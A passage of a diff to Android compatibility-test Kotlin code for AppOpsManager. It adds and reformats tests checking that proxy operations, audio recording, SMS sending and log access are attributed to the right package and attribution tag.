-        val otherPkg = otherAppInfo!!.packageName
-        val otherUid = otherAppInfo.uid
-
         // Using the shell identity causes a trusted proxy note
         runWithShellPermissionIdentity {
-            context.createAttributionContext("firstProxyAttribution")
-                    .getSystemService(AppOpsManager::class.java)
-                    .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+            context.createAttributionContext(firstTag)
+                .getSystemService(AppOpsManager::class.java)
+                .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
         }
 
         // Make sure timestamps are distinct
         sleep(1)
 
         // untrusted proxy note
-        context.createAttributionContext("secondProxyAttribution")
-                .getSystemService(AppOpsManager::class.java)
-                .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+        context.createAttributionContext(secondTag)
+            .getSystemService(AppOpsManager::class.java)
+            .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
 
         val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
         val attributionOpEntry = opEntry.attributedOpEntries[null]!!
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(SHELL_PACKAGE_NAME)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(SHELL_PACKAGE_NAME)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid)
-                .isEqualTo(myUid)
-        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+            .isEqualTo(Process.SHELL_UID)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(
+                Process.SHELL_UID)
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid)
-                .isEqualTo(myUid)
+            .isEqualTo(myUid)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
-                .isEqualTo("firstProxyAttribution")
+            .isEqualTo(firstTag)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
-                .isEqualTo("secondProxyAttribution")
+            .isEqualTo(secondTag)
 
         // If asked for all op-flags the second attribution overrides the first
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag)
-                .isEqualTo("secondProxyAttribution")
+            .isEqualTo(secondTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopTrustedProxyVerifyRunningAndTime() {
+        val beforeTrusted = System.currentTimeMillis()
+        // Make sure timestamps are distinct
+        sleep(1)
+
+        lateinit var firstAttrManager: AppOpsManager
+        // Using the shell identity causes a trusted proxy op
+        runWithShellPermissionIdentity {
+            firstAttrManager = context.createAttributionContext(firstTag)!!
+                .getSystemService(AppOpsManager::class.java)!!
+            val start = firstAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null,
+                null)
+            assertThat(start).isEqualTo(MODE_ALLOWED)
+            sleep(1)
+        }
+
+        with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
+                .packageName).isEqualTo(SHELL_PACKAGE_NAME)
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
+                .attributionTag).isEqualTo(firstTag)
+            assertThat(isRunning).isTrue()
+        }
+
+        with(getOpEntry(Process.SHELL_UID, SHELL_PACKAGE_NAME, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[firstTag]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[firstTag]!!
+                .getLastProxyInfo(OP_FLAGS_ALL)).isNull()
+        }
+
+        firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+        val afterTrusted = System.currentTimeMillis()
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXIED))
+            .isIn(beforeTrusted..afterTrusted)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+            .isEqualTo(SHELL_PACKAGE_NAME)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
+            .isEqualTo(SHELL_PACKAGE_NAME)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid)
+            .isEqualTo(Process.SHELL_UID)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(
+                Process.SHELL_UID)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(firstTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopUntrustedProxyVerifyRunningAndTime() {
+        val beforeUntrusted = System.currentTimeMillis()
+        // Make sure timestamps are distinct
+        sleep(1)
+
+        // Untrusted proxy op
+        val secondAttrManager = context.createAttributionContext(secondTag)!!
+            .getSystemService(AppOpsManager::class.java)!!
+        secondAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
+        with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
+                .packageName).isEqualTo(myPackage)
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
+                .attributionTag).isEqualTo(secondTag)
+        }
+
+        with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[secondTag]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[secondTag]!!
+                .getLastProxyInfo(OP_FLAGS_ALL)).isNull()
+        }
+
+        secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+        val afterUntrusted = System.currentTimeMillis()
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
+        assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_UNTRUSTED_PROXIED))
+            .isIn(beforeUntrusted..afterUntrusted)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
+            .isEqualTo(myPackage)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid)
+            .isEqualTo(myUid)
+        assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(secondTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopTrustedAndUntrustedProxyVerifyProxyInfo() {
+        lateinit var firstAttrManager: AppOpsManager
+        // Using the shell identity causes a trusted proxy op
+        runWithShellPermissionIdentity {
+            firstAttrManager = context.createAttributionContext(firstTag)!!
+                .getSystemService(AppOpsManager::class.java)!!
+            val start = firstAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null,
+                null)
+            sleep(1)
+        }
+
+        firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+
+        // Untrusted proxy op
+        val secondAttrManager = context.createAttributionContext(secondTag)!!
+            .getSystemService(AppOpsManager::class.java)!!
+        secondAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
+
+        sleep(1)
+        secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
+
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(firstTag)
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
+            .isEqualTo(secondTag)
+
+        // If asked for all op-flags the second attribution overrides the first
+        assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag)
+            .isEqualTo(secondTag)
     }
 
     @Test
@@ -372,12 +527,12 @@
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             attributedOpEntries[TEST_ATTRIBUTION_TAG]?.let {
                 assertThat(it.getLastAccessTime(OP_FLAGS_ALL)).isAtMost(beforeNullAttributionStart)
             }
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
         }
 
         val beforeFirstAttributionStart = System.currentTimeMillis()
@@ -386,11 +541,11 @@
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
         }
 
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
@@ -398,11 +553,11 @@
         // Nested startOps do _not_ count as another access
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStart..afterNullAttributionStart)
+                .isIn(beforeNullAttributionStart..afterNullAttributionStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
             assertThat(getLastAccessTime(OP_FLAGS_ALL))
-                    .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
+                .isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
         }
 
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
@@ -412,9 +567,9 @@
 
     @Test
     fun startStopMultipleOpsAndVerifyDuration() {
-        val beforeNullAttributionStart = SystemClock.elapsedRealtime()
+        val beforeNullAttrStart = SystemClock.elapsedRealtime()
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
-        val afterNullAttributionStart = SystemClock.elapsedRealtime()
+        val afterNullAttrStart = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -422,17 +577,15 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
             }
         }
 
-        val beforeAttributionStart = SystemClock.elapsedRealtime()
+        val beforeAttrStart = SystemClock.elapsedRealtime()
         appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
-        val afterAttributionStart = SystemClock.elapsedRealtime()
+        val afterAttrStart = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -440,15 +593,14 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
 
                 // The last duration is the duration of the last started attribution
-                assertThat(getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                        afterAttributionStart..afterGetOp - beforeAttributionStart)
+                assertThat(getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
@@ -462,14 +614,12 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                        afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
@@ -481,19 +631,19 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
-                assertThat(getLastDuration(OP_FLAGS_ALL)).isIn(beforeGetOp -
-                                afterAttributionStart..afterGetOp - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
+                assertThat(getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeGetOp - afterAttrStart..afterGetOp - beforeAttrStart)
             }
         }
 
-        val beforeAttributionStop = SystemClock.elapsedRealtime()
+        val beforeAttrStop = SystemClock.elapsedRealtime()
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
-        val afterAttributionStop = SystemClock.elapsedRealtime()
+        sleep(1)
+        val afterAttrStop = SystemClock.elapsedRealtime()
 
         run {
             val beforeGetOp = SystemClock.elapsedRealtime()
@@ -501,32 +651,27 @@
                 val afterGetOp = SystemClock.elapsedRealtime()
 
                 assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeGetOp - afterNullAttributionStart
-                                ..afterGetOp - beforeNullAttributionStart)
+                    .isIn(beforeGetOp - afterNullAttrStart..afterGetOp - beforeNullAttrStart)
                 assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
-                        .getLastDuration(OP_FLAGS_ALL)).isIn(
-                        beforeAttributionStop - afterAttributionStart
-                                ..afterAttributionStop - beforeAttributionStart)
+                    .getLastDuration(OP_FLAGS_ALL))
+                    .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
                 assertThat(getLastDuration(OP_FLAGS_ALL))
-                        .isIn(beforeAttributionStop - afterAttributionStart
-                                ..afterAttributionStop - beforeAttributionStart)
+                    .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
             }
         }
 
-        val beforeNullAttributionStop = SystemClock.elapsedRealtime()
+        val beforeNullAttrStop = SystemClock.elapsedRealtime()
         appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
-        val afterNullAttributionStop = SystemClock.elapsedRealtime()
+        val afterNullAttrStop = SystemClock.elapsedRealtime()
 
         with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
             assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeNullAttributionStop - afterNullAttributionStart
-                            ..afterNullAttributionStop - beforeNullAttributionStart)
+                .isIn(beforeNullAttrStop -
+                    afterNullAttrStart..afterNullAttrStop - beforeNullAttrStart)
             assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeAttributionStop - afterAttributionStart
-                            ..afterAttributionStop - beforeAttributionStart)
+                .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
             assertThat(getLastDuration(OP_FLAGS_ALL))
-                    .isIn(beforeAttributionStop - afterAttributionStart
-                            ..afterAttributionStop - beforeAttributionStart)
+                .isIn(beforeAttrStop - afterAttrStart..afterAttrStop - beforeAttrStart)
         }
     }
 }
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index c2cf39e..c044b6b 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -16,14 +16,21 @@
 
 package android.app.appops.cts
 
+import android.Manifest.permission.READ_CONTACTS
+import android.Manifest.permission.READ_LOGS
+import android.app.Activity.RESULT_OK
 import android.app.AppOpsManager
+import android.app.AppOpsManager.MODE_ALLOWED
 import android.app.AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY
 import android.app.AppOpsManager.OPSTR_CAMERA
 import android.app.AppOpsManager.OPSTR_COARSE_LOCATION
 import android.app.AppOpsManager.OPSTR_FINE_LOCATION
 import android.app.AppOpsManager.OPSTR_GET_ACCOUNTS
+import android.app.AppOpsManager.OPSTR_GET_USAGE_STATS
 import android.app.AppOpsManager.OPSTR_READ_CONTACTS
 import android.app.AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE
+import android.app.AppOpsManager.OPSTR_RECORD_AUDIO
+import android.app.AppOpsManager.OPSTR_SEND_SMS
 import android.app.AppOpsManager.OPSTR_WRITE_CONTACTS
 import android.app.AppOpsManager.OnOpNotedCallback
 import android.app.AppOpsManager.strOpToOp
@@ -33,8 +40,6 @@
 import android.app.WallpaperManager
 import android.app.WallpaperManager.FLAG_SYSTEM
 import android.bluetooth.BluetoothManager
-import android.bluetooth.cts.BTAdapterUtils.enableAdapter as enableBTAdapter
-import android.bluetooth.cts.BTAdapterUtils.disableAdapter as disableBTAdapter
 import android.bluetooth.le.ScanCallback
 import android.content.BroadcastReceiver
 import android.content.ComponentName
@@ -53,29 +58,41 @@
 import android.location.Location
 import android.location.LocationListener
 import android.location.LocationManager
+import android.media.AudioAttributes
+import android.media.AudioRecord
+import android.media.MediaRecorder
 import android.net.wifi.WifiManager
 import android.os.Bundle
+import android.os.DropBoxManager
 import android.os.Handler
 import android.os.IBinder
 import android.os.Looper
 import android.os.Process
 import android.platform.test.annotations.AppModeFull
 import android.provider.ContactsContract
+import android.telephony.SmsManager
 import android.telephony.TelephonyManager
+import android.util.Log
 import androidx.test.platform.app.InstrumentationRegistry
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
 import org.junit.Assert.fail
 import org.junit.Assume.assumeTrue
 import org.junit.Before
+import org.junit.Ignore
 import org.junit.Test
 import java.util.concurrent.CompletableFuture
 import java.util.concurrent.Executor
 import java.util.concurrent.TimeUnit.MILLISECONDS
 import java.util.concurrent.TimeoutException
+import android.bluetooth.cts.BTAdapterUtils.disableAdapter as disableBTAdapter
+import android.bluetooth.cts.BTAdapterUtils.enableAdapter as enableBTAdapter
 
 private const val TEST_SERVICE_PKG = "android.app.appops.cts.appthatusesappops"
 private const val TIMEOUT_MILLIS = 10000L
+private const val PRIVATE_ACTION = "android.app.appops.cts.PRIVATE_ACTION"
+private const val PUBLIC_ACTION = "android.app.appops.cts.PUBLIC_ACTION"
+private const val PROTECTED_ACTION = "android.app.appops.cts.PROTECTED_ACTION"
 
 private external fun nativeNoteOp(
     op: Int,
@@ -85,9 +102,16 @@
     message: String? = null
 )
 
+private external fun nativeStartStopAudioRecord(
+    isShared: Boolean,
+    isLowLatency: Boolean,
+    packageName: String,
+    attributionTag: String? = null
+)
+
 @AppModeFull(reason = "Test relies on other app to connect to. Instant apps can't see other apps")
 class AppOpsLoggingTest {
-    private val context = InstrumentationRegistry.getInstrumentation().targetContext
+    private val context = InstrumentationRegistry.getInstrumentation().targetContext as Context
     private val appOpsManager = context.getSystemService(AppOpsManager::class.java)
 
     private val myUid = Process.myUid()
@@ -124,6 +148,7 @@
     @Before
     fun loadNativeCode() {
         System.loadLibrary("CtsAppOpsTestCases_jni")
+        System.loadLibrary("NDKCtsAppOpsTestCases_jni")
     }
 
     @Before
@@ -163,14 +188,17 @@
         appOpsManager.setOnOpNotedCallback(Executor { it.run() },
                 object : OnOpNotedCallback() {
                     override fun onNoted(op: SyncNotedAppOp) {
+                        Log.i("OPALA", "sync op: $, stack: $".format(op, Throwable().stackTrace))
                         noted.add(op to Throwable().stackTrace)
                     }
 
                     override fun onSelfNoted(op: SyncNotedAppOp) {
+                        Log.i("OPALA", "self op: $, stack: $".format(op, Throwable().stackTrace))
                         selfNoted.add(op to Throwable().stackTrace)
                     }
 
                     override fun onAsyncNoted(asyncOp: AsyncNotedAppOp) {
+                        Log.i("OPALA", "async op: $".format(asyncOp))
                         asyncNoted.add(asyncOp)
                     }
                 })
@@ -541,7 +569,9 @@
 
     /**
      * Realistic end-to-end test for getting called back for a proximity alert
+     * (b/150438846 - ignored this test due to flakiness)
      */
+    @Ignore
     @Test
     fun triggerProximityAlert() {
         val PROXIMITY_ALERT_ACTION = "proxAlert"
@@ -576,7 +606,12 @@
                 eventually {
                     assertThat(asyncNoted.map { it.op }).contains(OPSTR_FINE_LOCATION)
                     assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-                    assertThat(asyncNoted[0].message).contains(PROXIMITY_ALERT_ACTION)
+
+                    assertThat(asyncNoted[0].message).contains(
+                        proximityAlertReceiverPendingIntent::class.java.name)
+                    assertThat(asyncNoted[0].message).contains(
+                        Integer.toHexString(
+                            System.identityHashCode(proximityAlertReceiverPendingIntent)))
                 }
             } finally {
                 locationManager.removeProximityAlert(proximityAlertReceiverPendingIntent)
@@ -629,6 +664,98 @@
         assertThat(noted[0].second.map { it.methodName }).contains("getCellInfo")
     }
 
+    /**
+     * Realistic end-to-end test for recording audio
+     */
+    @Test
+    @Ignore
+    fun recordAudio() {
+        val ar = AudioRecord.Builder()
+                .setContext(context.createAttributionContext(TEST_ATTRIBUTION_TAG)).build()
+        try {
+            ar.startRecording()
+            ar.stop()
+        } finally {
+            ar.release()
+        }
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_RECORD_AUDIO)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for recording low latency audio
+     */
+    @Test
+    @Ignore
+    fun recordAudioLowLatency() {
+        val ar = AudioRecord.Builder()
+                .setAudioAttributes(AudioAttributes.Builder()
+                        .setFlags(AudioAttributes.FLAG_LOW_LATENCY)
+                        .setCapturePreset(MediaRecorder.AudioSource.DEFAULT).build())
+                .setContext(context.createAttributionContext(TEST_ATTRIBUTION_TAG)).build()
+        try {
+            ar.startRecording()
+            ar.stop()
+        } finally {
+            ar.release()
+        }
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_RECORD_AUDIO)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for recording using the public native API with shared, low latency
+     */
+    @Test
+    @Ignore
+    fun recordAudioNativeLowLatencyShared() {
+        nativeStartStopAudioRecord(isShared = true, isLowLatency = true,
+                packageName = context.packageName, attributionTag = TEST_ATTRIBUTION_TAG)
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_RECORD_AUDIO)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for recording using the public native API in exclusive low latency
+     * mode
+     */
+    @Test
+    @Ignore
+    fun recordAudioNativeLowLatencyExclusive() {
+        nativeStartStopAudioRecord(isShared = false, isLowLatency = true,
+                packageName = context.packageName, attributionTag = TEST_ATTRIBUTION_TAG)
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_RECORD_AUDIO)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
+    /**
+     * Realistic end-to-end test for recording using the public native API in shared normal latency
+     * mode
+     */
+    @Test
+    @Ignore
+    fun recordAudioNativeShared() {
+        nativeStartStopAudioRecord(isShared = true, isLowLatency = false,
+                packageName = context.packageName, attributionTag = TEST_ATTRIBUTION_TAG)
+
+        eventually {
+            assertThat(asyncNoted[0].op).isEqualTo(OPSTR_RECORD_AUDIO)
+            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        }
+    }
+
     private fun openCamera(context: Context) {
         val cameraManager = context.getSystemService(CameraManager::class.java)
 
@@ -669,7 +796,7 @@
      */
     @Test
     fun openCameraWithDefaultAttribution() {
-        openCamera(context.createAttributionContext(null))
+        openCamera(context)
     }
 
     /**
@@ -690,6 +817,24 @@
     }
 
     /**
+     * Realistic end-to-end test for sending a SMS message
+     */
+    @Test
+    fun sendSms() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_TELEPHONY))
+
+        val smsManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .getSystemService(SmsManager::class.java)
+
+        // No need for valid data. The permission is checked before the parameters are validated
+        smsManager.sendTextMessage("dst", null, "text", null, null)
+
+        assertThat(noted[0].first.op).isEqualTo(OPSTR_SEND_SMS)
+        assertThat(noted[0].first.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+        assertThat(noted[0].second.map { it.methodName }).contains("sendSms")
+    }
+
+    /**
      * Realistic end-to-end test for starting a permission protected activity
      */
     @Test
@@ -704,6 +849,77 @@
         assertThat(noted[0].second.map { it.methodName }).contains("startActivity")
     }
 
+    /**
+     * Realistic end-to-end test for starting a permission protected activity
+     */
+    @Test
+    fun getNextDropBoxEntry() {
+        runWithShellPermissionIdentity {
+            context.packageManager.grantRuntimePermission(myPackage, READ_LOGS, myUserHandle)
+            appOpsManager.setMode(OPSTR_GET_USAGE_STATS, myUid, myPackage, MODE_ALLOWED)
+        }
+
+        val dropBoxManager = context.createAttributionContext(TEST_ATTRIBUTION_TAG)
+                .getSystemService(DropBoxManager::class.java)
+
+        val entry = dropBoxManager.getNextEntry("foo", 100)
+        entry?.close()
+
